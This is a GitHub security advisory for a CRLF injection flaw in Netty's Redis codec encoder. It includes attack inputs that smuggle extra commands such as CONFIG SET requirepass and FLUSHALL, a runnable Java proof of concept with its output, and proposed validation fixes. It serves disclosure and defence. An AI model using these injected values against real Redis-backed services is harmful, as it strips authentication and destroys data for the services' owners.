GHSA-RGRR-P7GP-5XJ7
Vulnerability from github – Published: 2026-05-07 00:24 – Updated: 2026-05-14 20:41Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-redis) |
| Component | io.netty.handler.codec.redis.RedisEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |
| Impact | Redis Command Injection / Response Poisoning |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | None |
2. Affected Components
The following classes in the codec-redis module are affected:
io.netty.handler.codec.redis.RedisEncoder(encoder - no output validation)io.netty.handler.codec.redis.InlineCommandRedisMessage(no input validation)io.netty.handler.codec.redis.SimpleStringRedisMessage(no input validation)io.netty.handler.codec.redis.ErrorRedisMessage(no input validation)io.netty.handler.codec.redis.AbstractStringRedisMessage(base class - no validation)
3. Vulnerability Description
The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.
Root Cause
In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
String content, List<Object> out) {
ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
RedisConstants.EOL_LENGTH);
type.writeTo(buf);
ByteBufUtil.writeUtf8(buf, content); // <-- NO CRLF VALIDATION
buf.writeShort(RedisConstants.EOL_SHORT); // <-- Appends \r\n
out.add(buf);
}
The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:
// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
this.content = ObjectUtil.checkNotNull(content, "content");
// NO CRLF validation
}
Comparison with Similar Fixed CVEs
This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:
| CVE | Component | Fix |
|---|---|---|
| GHSA-jq43-27x9-3v86 | SmtpRequestEncoder - SMTP command injection | Added SmtpUtils.validateSMTPParameters() to check for \r and \n |
| GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder - CRLF in URI | Added HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP |
The Redis codec has no equivalent validation in either the encoder or the message constructors.
4. Exploitability Prerequisites
This vulnerability is exploitable when all of the following conditions are met:
- The application uses Netty's
codec-redismodule to communicate with a Redis server - User-controlled input is placed into
InlineCommandRedisMessage,SimpleStringRedisMessage, orErrorRedisMessagecontent - The application does not perform its own CRLF sanitization before constructing these message objects
Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.
Affected use cases include:
- Custom Redis clients or proxies that use InlineCommandRedisMessage for simplicity
- Redis middleware/proxy layers that forward SimpleStringRedisMessage or ErrorRedisMessage responses
- Applications that construct Redis monitoring or diagnostic commands from user input
- Redis Sentinel or Cluster management tools using inline command format
5. Attack Scenarios
Scenario 1: Redis Command Injection via Inline Commands
When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:
// Application code that builds Redis commands from user input
String userKey = request.getParameter("key"); // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);
Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"
Result: Three commands sent to Redis:
1. GET foo
2. CONFIG SET requirepass "" (removes authentication!)
3. FLUSHALL (deletes all data!)
Scenario 2: Redis Response Poisoning
When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:
// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);
Malicious upstream response: "OK\r\n$6\r\nhacked"
Client sees:
1. Simple String: +OK (expected response)
2. Bulk String: $6\r\nhacked (injected fake data!)
Scenario 3: Error Message Injection
ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);
Attack input: errorDetail = "unknown\r\n+FAKE_SUCCESS"
Client sees:
1. Error: -ERR unknown
2. Simple String: +FAKE_SUCCESS (injected fake success!)
6. Proof of Concept
Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;
import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;
/**
* PoC: Redis Encoder CRLF Injection Vulnerability
*
* Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
* and ErrorRedisMessage do not validate content for CRLF characters,
* allowing Redis command injection via the RESP protocol.
*/
public class RedisEncoderCRLFInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");
testInlineCommandInjection();
testSimpleStringInjection();
testErrorMessageInjection();
System.out.println("\n=== PoC Complete ===");
}
/**
* Test 1: Inline Command Injection
* An attacker-controlled string injected into InlineCommandRedisMessage
* results in multiple Redis commands being sent.
*/
static void testInlineCommandInjection() {
System.out.println("[TEST 1] Inline Command CRLF Injection");
System.out.println("----------------------------------------");
// Malicious content: inject FLUSHALL after a benign PING
String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
// This should be rejected but is accepted
InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: InlineCommandRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// Count how many CRLF-delimited commands are in the output
String[] commands = encoded.split("\r\n");
System.out.println("Number of commands parsed by Redis: " + commands.length);
for (int i = 0; i < commands.length; i++) {
if (!commands[i].isEmpty()) {
System.out.println(" Command " + (i + 1) + ": " + commands[i]);
}
}
boolean vulnerable = commands.length > 1;
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
System.out.println();
}
/**
* Test 2: SimpleString Response Injection
* When Netty acts as a Redis proxy/middleware, a malicious SimpleString
* can inject fake responses to the downstream client.
*/
static void testSimpleStringInjection() {
System.out.println("[TEST 2] SimpleString Response CRLF Injection");
System.out.println("----------------------------------------------");
// Malicious content: inject a fake bulk string response after OK
String maliciousContent = "OK\r\n$6\r\nhacked";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: SimpleStringRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// The RESP protocol uses the first byte to determine type:
// '+' = Simple String, '$' = Bulk String
// A client parsing this would see:
// 1. "+OK\r\n" -> Simple String "OK"
// 2. "$6\r\nhacked" -> Bulk String "hacked" (injected!)
boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
System.out.println();
}
/**
* Test 3: Error Message Injection
* Similar to SimpleString but with error messages.
*/
static void testErrorMessageInjection() {
System.out.println("[TEST 3] Error Message CRLF Injection");
System.out.println("--------------------------------------");
String maliciousContent = "ERR unknown\r\n+INJECTED_OK";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: ErrorRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
System.out.println();
}
}
How to Compile and Run
# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
-Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
-Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty Redis Encoder CRLF Injection PoC ===
[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input: InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
Command 1: PING
Command 2: CONFIG SET requirepass ""
Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!
[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input: SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!
[TEST 3] Error Message CRLF Injection
--------------------------------------
Input: ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!
=== PoC Complete ===
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Confidentiality | HIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS * to enumerate all data |
| Integrity | HIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration |
| Availability | Can be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS |
| Authentication Bypass | CONFIG SET requirepass "" removes authentication |
| Data Exfiltration | Lua scripting via EVAL enables complex data extraction |
8. Remediation Recommendations
Option 1: Validate in Message Constructors (Recommended)
Add CRLF validation to AbstractStringRedisMessage:
AbstractStringRedisMessage(String content) {
this.content = ObjectUtil.checkNotNull(content, "content");
validateContent(content);
}
private static void validateContent(String content) {
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c == '\r' || c == '\n') {
throw new IllegalArgumentException(
"Redis message content contains illegal CRLF character at index " + i);
}
}
}
Option 2: Validate in Encoder (Defense-in-Depth)
Add validation in RedisEncoder.writeString():
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
String content, List<Object> out) {
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c == '\r' || c == '\n') {
throw new RedisCodecException(
"Redis message content contains CRLF at index " + i);
}
}
// ... existing encoding logic
}
Option 3: Both (Best Practice)
Apply validation in both the constructor and the encoder, following the pattern used for SMTP:
- SmtpUtils.validateSMTPParameters() validates in DefaultSmtpRequest constructor
- This provides defense-in-depth against custom SmtpRequest implementations
9. Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-redis"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-redis"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42586"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:24:08Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "MODERATE"
},
"details": "# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-redis) |\n| **Component** | `io.netty.handler.codec.redis.RedisEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |\n| **Impact** | Redis Command Injection / Response Poisoning |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-redis` module are affected:\n\n- `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation)\n- `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation)\n\n## 3. Vulnerability Description\n\nThe Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\\r\\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.\n\n### Root Cause\n\nIn `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n String content, List\u003cObject\u003e out) {\n ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +\n RedisConstants.EOL_LENGTH);\n type.writeTo(buf);\n ByteBufUtil.writeUtf8(buf, content); // \u003c-- NO CRLF VALIDATION\n buf.writeShort(RedisConstants.EOL_SHORT); // \u003c-- Appends \\r\\n\n out.add(buf);\n}\n```\n\nThe message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null:\n\n```java\n// AbstractStringRedisMessage.java:30-32\nAbstractStringRedisMessage(String content) {\n this.content = ObjectUtil.checkNotNull(content, \"content\");\n // NO CRLF validation\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\\r` and `\\n` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\\r`, `\\n`, and SP |\n\nThe Redis codec has **no equivalent validation** in either the encoder or the message constructors.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty\u0027s `codec-redis` module to communicate with a Redis server\n2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content\n3. The application does **not** perform its own CRLF sanitization before constructing these message objects\n\n**Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.\n\n**Affected use cases include**:\n- Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity\n- Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses\n- Applications that construct Redis monitoring or diagnostic commands from user input\n- Redis Sentinel or Cluster management tools using inline command format\n\n## 5. Attack Scenarios\n\n### Scenario 1: Redis Command Injection via Inline Commands\n\nWhen Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands:\n\n```java\n// Application code that builds Redis commands from user input\nString userKey = request.getParameter(\"key\"); // Attacker controls this\nInlineCommandRedisMessage msg = new InlineCommandRedisMessage(\"GET \" + userKey);\nchannel.writeAndFlush(msg);\n```\n\n**Attack input**: `key = \"foo\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\"`\n\n**Result**: Three commands sent to Redis:\n1. `GET foo`\n2. `CONFIG SET requirepass \"\"` (removes authentication!)\n3. `FLUSHALL` (deletes all data!)\n\n### Scenario 2: Redis Response Poisoning\n\nWhen Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:\n\n```java\n// Proxy forwarding a simple string response\nSimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);\ndownstreamChannel.writeAndFlush(response);\n```\n\n**Malicious upstream response**: `\"OK\\r\\n$6\\r\\nhacked\"`\n\n**Client sees**:\n1. Simple String: `+OK` (expected response)\n2. Bulk String: `$6\\r\\nhacked` (injected fake data!)\n\n### Scenario 3: Error Message Injection\n\n```java\nErrorRedisMessage error = new ErrorRedisMessage(\"ERR \" + errorDetail);\n```\n\n**Attack input**: `errorDetail = \"unknown\\r\\n+FAKE_SUCCESS\"`\n\n**Client sees**:\n1. Error: `-ERR unknown`\n2. Simple String: `+FAKE_SUCCESS` (injected fake success!)\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.ByteBufUtil;\nimport io.netty.buffer.UnpooledByteBufAllocator;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.redis.*;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.List;\nimport java.util.ArrayList;\n\n/**\n * PoC: Redis Encoder CRLF Injection Vulnerability\n *\n * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,\n * and ErrorRedisMessage do not validate content for CRLF characters,\n * allowing Redis command injection via the RESP protocol.\n */\npublic class RedisEncoderCRLFInjectionPoC {\n\n public static void main(String[] args) {\n System.out.println(\"=== Netty Redis Encoder CRLF Injection PoC ===\\n\");\n\n testInlineCommandInjection();\n testSimpleStringInjection();\n testErrorMessageInjection();\n\n System.out.println(\"\\n=== PoC Complete ===\");\n }\n\n /**\n * Test 1: Inline Command Injection\n * An attacker-controlled string injected into InlineCommandRedisMessage\n * results in multiple Redis commands being sent.\n */\n static void testInlineCommandInjection() {\n System.out.println(\"[TEST 1] Inline Command CRLF Injection\");\n System.out.println(\"----------------------------------------\");\n\n // Malicious content: inject FLUSHALL after a benign PING\n String maliciousContent = \"PING\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n // This should be rejected but is accepted\n InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);\n channel.writeOutbound(msg);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input: InlineCommandRedisMessage(\\\"\" +\n maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n System.out.println(\"Encoded: \\\"\" +\n encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n // Count how many CRLF-delimited commands are in the output\n String[] commands = encoded.split(\"\\r\\n\");\n System.out.println(\"Number of commands parsed by Redis: \" + commands.length);\n for (int i = 0; i \u003c commands.length; i++) {\n if (!commands[i].isEmpty()) {\n System.out.println(\" Command \" + (i + 1) + \": \" + commands[i]);\n }\n }\n\n boolean vulnerable = commands.length \u003e 1;\n System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Multiple commands injected!\" : \"NO\"));\n System.out.println();\n }\n\n /**\n * Test 2: SimpleString Response Injection\n * When Netty acts as a Redis proxy/middleware, a malicious SimpleString\n * can inject fake responses to the downstream client.\n */\n static void testSimpleStringInjection() {\n System.out.println(\"[TEST 2] SimpleString Response CRLF Injection\");\n System.out.println(\"----------------------------------------------\");\n\n // Malicious content: inject a fake bulk string response after OK\n String maliciousContent = \"OK\\r\\n$6\\r\\nhacked\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);\n channel.writeOutbound(msg);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input: SimpleStringRedisMessage(\\\"\" +\n maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n System.out.println(\"Encoded: \\\"\" +\n encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n // The RESP protocol uses the first byte to determine type:\n // \u0027+\u0027 = Simple String, \u0027$\u0027 = Bulk String\n // A client parsing this would see:\n // 1. \"+OK\\r\\n\" -\u003e Simple String \"OK\"\n // 2. \"$6\\r\\nhacked\" -\u003e Bulk String \"hacked\" (injected!)\n boolean vulnerable = encoded.contains(\"+OK\\r\\n$6\\r\\nhacked\");\n System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Response poisoning possible!\" : \"NO\"));\n System.out.println();\n }\n\n /**\n * Test 3: Error Message Injection\n * Similar to SimpleString but with error messages.\n */\n static void testErrorMessageInjection() {\n System.out.println(\"[TEST 3] Error Message CRLF Injection\");\n System.out.println(\"--------------------------------------\");\n\n String maliciousContent = \"ERR unknown\\r\\n+INJECTED_OK\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);\n channel.writeOutbound(msg);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input: ErrorRedisMessage(\\\"\" +\n maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n System.out.println(\"Encoded: \\\"\" +\n encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n boolean vulnerable = encoded.contains(\"-ERR unknown\\r\\n+INJECTED_OK\");\n System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Error + fake OK injected!\" : \"NO\"));\n System.out.println();\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \\\n -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" RedisEncoderCRLFInjectionPoC.java\njava -cp \"$JARS:.\" RedisEncoderCRLFInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Redis Encoder CRLF Injection PoC ===\n\n[TEST 1] Inline Command CRLF Injection\n----------------------------------------\nInput: InlineCommandRedisMessage(\"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\")\nEncoded: \"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\\r\\n\"\nNumber of commands parsed by Redis: 3\n Command 1: PING\n Command 2: CONFIG SET requirepass \"\"\n Command 3: FLUSHALL\nVULNERABLE: YES - Multiple commands injected!\n\n[TEST 2] SimpleString Response CRLF Injection\n----------------------------------------------\nInput: SimpleStringRedisMessage(\"OK\\r\\n$6\\r\\nhacked\")\nEncoded: \"+OK\\r\\n$6\\r\\nhacked\\r\\n\"\nVULNERABLE: YES - Response poisoning possible!\n\n[TEST 3] Error Message CRLF Injection\n--------------------------------------\nInput: ErrorRedisMessage(\"ERR unknown\\r\\n+INJECTED_OK\")\nEncoded: \"-ERR unknown\\r\\n+INJECTED_OK\\r\\n\"\nVULNERABLE: YES - Error + fake OK injected!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data |\n| **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration |\n| **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS |\n| **Authentication Bypass** | `CONFIG SET requirepass \"\"` removes authentication |\n| **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in Message Constructors (Recommended)\n\nAdd CRLF validation to `AbstractStringRedisMessage`:\n\n```java\nAbstractStringRedisMessage(String content) {\n this.content = ObjectUtil.checkNotNull(content, \"content\");\n validateContent(content);\n}\n\nprivate static void validateContent(String content) {\n for (int i = 0; i \u003c content.length(); i++) {\n char c = content.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n throw new IllegalArgumentException(\n \"Redis message content contains illegal CRLF character at index \" + i);\n }\n }\n}\n```\n\n### Option 2: Validate in Encoder (Defense-in-Depth)\n\nAdd validation in `RedisEncoder.writeString()`:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n String content, List\u003cObject\u003e out) {\n for (int i = 0; i \u003c content.length(); i++) {\n char c = content.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n throw new RedisCodecException(\n \"Redis message content contains CRLF at index \" + i);\n }\n }\n // ... existing encoding logic\n}\n```\n\n### Option 3: Both (Best Practice)\n\nApply validation in both the constructor and the encoder, following the pattern used for SMTP:\n- `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor\n- This provides defense-in-depth against custom `SmtpRequest` implementations\n\n## 9. Resources\n\n- [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
"id": "GHSA-rgrr-p7gp-5xj7",
"modified": "2026-05-14T20:41:24Z",
"published": "2026-05-07T00:24:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42586"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://redis.io/docs/reference/protocol-spec"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty Redis Codec Encoder has a CRLF Injection Issue"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.